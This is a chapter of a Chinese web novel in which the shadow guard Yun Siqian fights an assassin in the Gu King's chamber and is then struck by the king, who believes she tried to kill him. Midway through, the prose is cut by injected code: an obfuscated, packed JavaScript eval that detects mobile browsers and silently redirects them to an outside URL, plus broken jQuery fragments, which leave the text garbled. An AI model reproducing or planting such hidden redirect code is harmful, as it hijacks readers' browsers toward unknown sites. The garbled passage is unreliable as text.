14. 西澜蛊王(十四)

作品:《蛊王的暗卫

    见这人面生,是个八角侍卫。


    在暗厂许多中层暗卫都有固定的职责,往往姓名是被模糊掉的,上层会根据每个人的编号调遣他们做事。


    八角侍卫正是逐林卫的下层的人员,一般不会被蛊王直接调遣,他们平时行的委派,处理的杂事,都有特定逐林卫给安排。不过能从铁笼中厮杀出来,也是难得的上等货物。


    云思浅敛眉:“之前怎么没有见过你?”


    八角侍卫恭敬道:“是朗缨姐姐传话,蛊王有事找您。”


    想来也正常。


    朗缨时常会出去接一些私活儿赚外快,她工作效率高,从不出差错,所以对于出去接活儿的事。


    魏陵州从来不干涉下属的私生活,只要不耽误工作,他也是睁一只眼闭一只眼。


    走进训练室。


    这里黑漆漆的,空无一人。


    这个时辰暗卫们早已回到居舍就寝,极少像云思浅这样会在夜里练刀的。


    刚从墓地里出来,云思浅方才沐浴过一番,身上的香薰是魏陵州最喜欢的。


    来到西澜城之前,她擅长射击和剑术。


    纹姨说她的身子骨弱,肉搏近战容易吃亏,导致云思浅在这方面能力缺失。


    越是想逃避的东西,越会成为敌人击垮她的弱点。


    直到做了暗卫,她才渐渐精进近战技巧,就连如今落在掌中游刃有余的刺刀,也是魏陵州教的。


    哗啦哗啦——


    训练室水池前,云思浅清洗着罡敖刀。


    刃部的血腥味令她感觉恶心,洗多少遍还是有味,心底邪恶愤怒的野草蔓延生长。


    她的刀术是魏陵州教的,罡敖是魏陵州送给她的。


    而黑豹的血脏了她的刀。


    太恶心了。


    忽然,黑暗中响起一声“嗷呜”的嚎叫。


    云思浅手一抖,回头看。


    又是那只狼。


    她紧紧握住刀柄,双眸血红,忐忑的心仿佛要蹦出来。


    果然,魏陵州又放狼吓她。


    他就是这样,明知道她害怕,却依然如此。


    等了很久,魏陵州也不来。


    云思浅忐忑地缩在角落,她出来时匆忙,衣衫单薄,冷得很,身边又有一头畜生,哪怕被魏陵州驯化,谁能保证不会咬人。


    等了一个时辰,他都没来。


    难道是有事忘记了?


    想到魏陵州那天给她下了阴阳合欢蛊,心再次提到嗓子眼。


    她坚信他有一些龌龊的心思,就像这只狼一样,伺机而动,凝视着猎物,却还未露出最凶残的獠牙。


    现在月黑风高的,她真的惶恐。


    云思浅掀开黑披风,雪白皓腕上捆着袖箭。


    第一次使用袖箭就是魏陵州教的,这是她最擅长的暗器。


    五年前魏陵州训练她的时候,云思浅就见识过这男人的手段。


    得到袖箭的那次,正是魏陵州将一群不怕死的精英暗卫带到机关楼的那日——


    为了训练暗卫的暗器水平,以及应对暗器的能力,魏陵州让他们亲自选择武器,进入危机四伏的机关楼。


    机关密布,隐匿着各种五花八门的暗器,肉眼却看不出来,必须用身体亲自尝试。


    那次进入机关楼的人有两百个,出来的只有三十人。


    堆积如山的尸体,全部装在麻袋里,顺着缝隙的血水往下滴落,流了一大片腥红。


    魏陵州扫了一眼,冷漠地道:“一群猪。”随即他走到云思浅身前,掀开她的袖口,亲手将袖箭绑在她的手臂上。


    云思浅是第一个走出机关楼的,得到赏赐理所应当。


    魏陵州抬手,示意暗卫收拾干净。


    ……


    实在耐不住了。


    这个鬼地方没有热源,再不离开,她要冻死了。


    云思浅离开训练室,决定去蛊师殿看一眼。


    夜深人静,寝殿内熏炉燃着,暖烘烘的,却依然没有人,也不知道魏陵州去哪了。


    云思浅甫一跨入,只见那团大大的毛球从床底下猛地翻滚身体,笨拙地朝她扑来。


    “雪莲!”


    云思浅猛地一颤,抱起满眼都是她的小猞猁,任由它在怀里蹭蹭。


    “快,让我看看。”


    她搂紧小猞猁,只觉得枯瘦如柴。


    雪莲太惨了,瘦了好多。


    它身上很干净,因为魏陵州要抱着它睡觉,他喜欢雪莲热乎乎的身体,却不许它脏,也不许它长出爪牙。


    云思浅暗暗下决心,她要跟魏陵州谈判,她把雪莲要回去,自己养,雪莲太可怜,不能养在魏陵州身边了。


    她抱着雪莲,紧紧抱着。


    雪莲用小爪子摸她的脸,但是把爪子收得很紧,生怕伤到她。


    倏尔,“咣”地一声巨响。


    震耳欲聋!


    云思浅腾地站起来,怀里还抱着雪莲,低头一看,却见满地碎屑,断裂残木。


    仰头,窗柩破了个打洞。


    冷风呼啸,拼命往屋里灌,下一刻,白亮的光束犹如一朵盛开的花蕊,向四面八方舒展,格外刺目。


    云思浅瞳孔震颤。


    她没有想到,魏陵州没回来,刺客却出现了。


    眼前白亮一片过后,片刻后又是漆黑,强烈的光源交叠下,云思浅竟然发现,自己的听力在一点点下降……


    这种暗器,白亮过后麻痹听觉。


    没错,是无音符。


    黑暗中的无音符最为恐怖。


    周遭漆黑一片,只能通过感知力和声音判断对方的位置,可若她中了此暗器,听觉就会下降。


    混迹暗厂五年,云思浅从来不打无准备之仗。


    上次与新晋暗卫作战时,她主动蒙住眼睛,依靠听觉和感知力杀了他,那是因为她已经通过那个暗卫的前几场比赛,推断出他的武功深厚,因此她才无所畏惧。


    可是眼下这位不速之客,却是她闻所未闻见所未见的。


    云思浅知道自己开局就落于下风,不由得打起精神,她并未短暂失聪,也就是说,无音符剂量不大,不至于要她性命。


    也许是冲魏陵州来的。


    想要刺杀蛊王,却不料蛊王不在殿里,反而遇上他的指挥使。


    云思浅撸起袖子。


    “唰——”


    一道穿云箭凌厉射出,耳边是空气撕裂的声音。


    转瞬之间,角落处一阵闷响。


    偌大的蛊师殿响起缠斗的声音。


    云思浅的袖箭放空,只好掣出罡敖刀被迫迎战,借着熏炉微弱的光,她看清了刺客的身形。


    这是个男人。


    而交手的过程中,她感觉对方招式非常陌生,一看就不是千蛊门的人。


    可是千蛊门把手森严,不法之徒若想混进来,必须打点好。


    也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15160803|163892||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是说,千蛊门有他的卧底。


    云思浅在内部习惯隐藏实力,但对上外人也就不隐藏了,直接用全力。


    罡敖刀在指尖流窜,正要甩出,无意中她地盘不稳,蓦然被刺客抱住。


    似乎有一团火在脑海中炸开。


    身体好像被什么东西控制了,竟然一点也不排斥这具身体。


    反而非常熟悉,像是血脉相连的感应。


    “你究竟是谁?”


    云思浅心跳加速。慌的。


    若被魏陵州看到,她被别的男人抱着,恐怕她会死无葬身之地。


    顿了几息,耳畔是森然的笑。


    刺客制服了她,下一瞬,狠狠将她向前推,门锁拉开的碰撞摩擦声响起。


    随即,刺客在云思浅眼皮子底下,举起方才她放射出的袖箭,向殿门一掷。


    动作过大,以至于挟持她的手臂松懈了。


    云思浅趁机脱身,转头一甩罡敖刀,刺入腰带,伸手接住刺客腰间的骆驼铃铛。


    然而……已经来不及了。


    这时候殿门开了。


    魏陵州刚进门,只见一支箭飞过——


    事发突然,云思浅的手血肉模糊,索性不再管刺客,也顾不得疼痛,却坚持握住了那支扎向他的袖箭!!!


    钻心的疼痛从掌心蔓延到全身。


    汩汩滴血的拳头,逐渐变松。


    血淋淋的箭坠地。


    这一幕太有迷惑性了。


    看起来,真的很像云思浅想要刺杀魏陵州,却临时反悔的惊悚画面。


    刺客顺着破碎的窗,逃了出去。


    咚——


    心口.爆痛。


    云思浅重重倒在地上。


    仅剩的一支袖箭在手腕里,但是她没有用,这次并非她要隐藏实力,而是被迎面而来的男人吓得腿软。


    魏陵州并非有意伤她,只是出于本能反应,以为她要刺杀自己。


    本来就被无音符所伤,又被魏陵州踹了一记窝心脚。


    罡敖刀坠地,云思浅口吐鲜血。


    “主上,有刺客……”


    她缓缓抬眸,看着阴影下向她靠近的男人,想到方才自己在救他,而他却抬脚就踹,丝毫不顾真相与否,先制服再说。


    “天哪,怎么是指挥使!”


    “指挥使怎么会刺杀蛊王殿下,这这这……”


    “闭嘴,这蛊师殿哪有你说话的份!”


    门口四个八角侍卫也吓得不轻,急忙跪下,若是魏陵州不允,他们就算尿裤子也不敢起来。


    一阵嗷嗷声,雪莲跑过来,冲着魏陵州叫个不停,一副誓死护主的样子。


    随即依偎在云思浅脚边,簌簌落泪。


    云思浅望向其中一位八角侍卫。


    想到今晚就是他给传的话,让她去训练室等蛊王的,也是唯一的证人。


    她还未开口,那八角侍卫便上前跪好,哀求似的对魏陵州道:“是您让指挥使来的,她在训练室等了您好久,至于刺客,属下也没有看到。”


    他说的是实话。


    这么晚了,而且蛊师殿隔音,他们打斗声也不大,只是用暗器在打,尤其是在无音符的作用下一墙之隔,根本不知道里面打算了什么。


    魏陵州没有说话。


    云思浅抱紧雪莲,颤巍巍地抹点唇角的血,再一次向他投来渴求的目光。


    “主上,您不相信我?”